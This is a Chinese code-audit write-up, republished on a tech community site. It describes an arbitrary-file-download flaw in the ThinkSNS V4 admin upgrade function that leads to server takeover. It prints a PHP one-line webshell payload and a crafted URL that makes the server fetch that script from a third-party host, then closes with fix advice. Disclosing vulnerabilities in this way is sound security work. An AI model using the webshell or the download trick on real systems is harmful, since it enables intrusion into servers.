前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【代码审计】ThinkSNS_V4 后台任意文件下载导致Getshell

【代码审计】ThinkSNS_V4 后台任意文件下载导致Getshell

作者头像
Bypass
发布2019-07-08 17:16:41
1K0
发布2019-07-08 17:16:41
举报
文章被收录于专栏:Bypass

00

前言

ThinkSNS(简称TS),一款全平台综合性社交系统,为国内外大中小企业和创业者提供社会化软件研发及技术解决方案,目前最新版本为ThinkSNS+(简称TS+),也称作ThinkSNS-plus以及ThinkSNS V4两套产品。在审计这套代码的过程中,发现一个任意文件下载漏洞导致Getshell,提交给CNVD,然而已经提交过了,虽然很简单,还是分享一下思路。

01

环境准备

ThinkSNS官网:http://www.thinksns.com

网站源码版本:ThinkSNS V4 更新时间:2017-09-13

程序源码下载:http://www.thinksns.com/experience.html(填写信息后,提交并下载代码)

默认后台地址:http://127.0.0.1/index.php?app=admin&mod=Public&act=login

默认用户密码:管理员帐号: admin@admin.com 密码自设,大于6位

02

代码分析

漏洞文件位置:

/apps/admin/Lib/Action/UpgradeAction.class.php 第168-189行:

在这段函数中,先备份老配置文件,然后下载增量包,下载参数$downUrl未经过任何处理,直接下载到网站目录下,接着验证hash判断包是否合法,但是并没有删除下载的增量包,导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

03

漏洞利用

1、第三方网站,新建一个evil.php,作为第三方源文件:

1. <?php

2. echo "<?php ";

3. echo "eval(file_get_contents('php://input'));";

4. echo "?>";

5. ?>

2、 登录后台,通过访问构造的url,成功下载第三方源的恶意脚本文件。http://127.0.0.1/index.php?app=admin&mod=Upgrade&act=step1&upurl=http://192.168.8.154/evil.php

3、 通过直接访问url,触发代码执行,成功获取网站服务器权限。

04

修复建议

1、 指定固定更新源,避免参数被用户可控;

2、 经过hash验证的包如果不合法,应立即删除。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-03-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档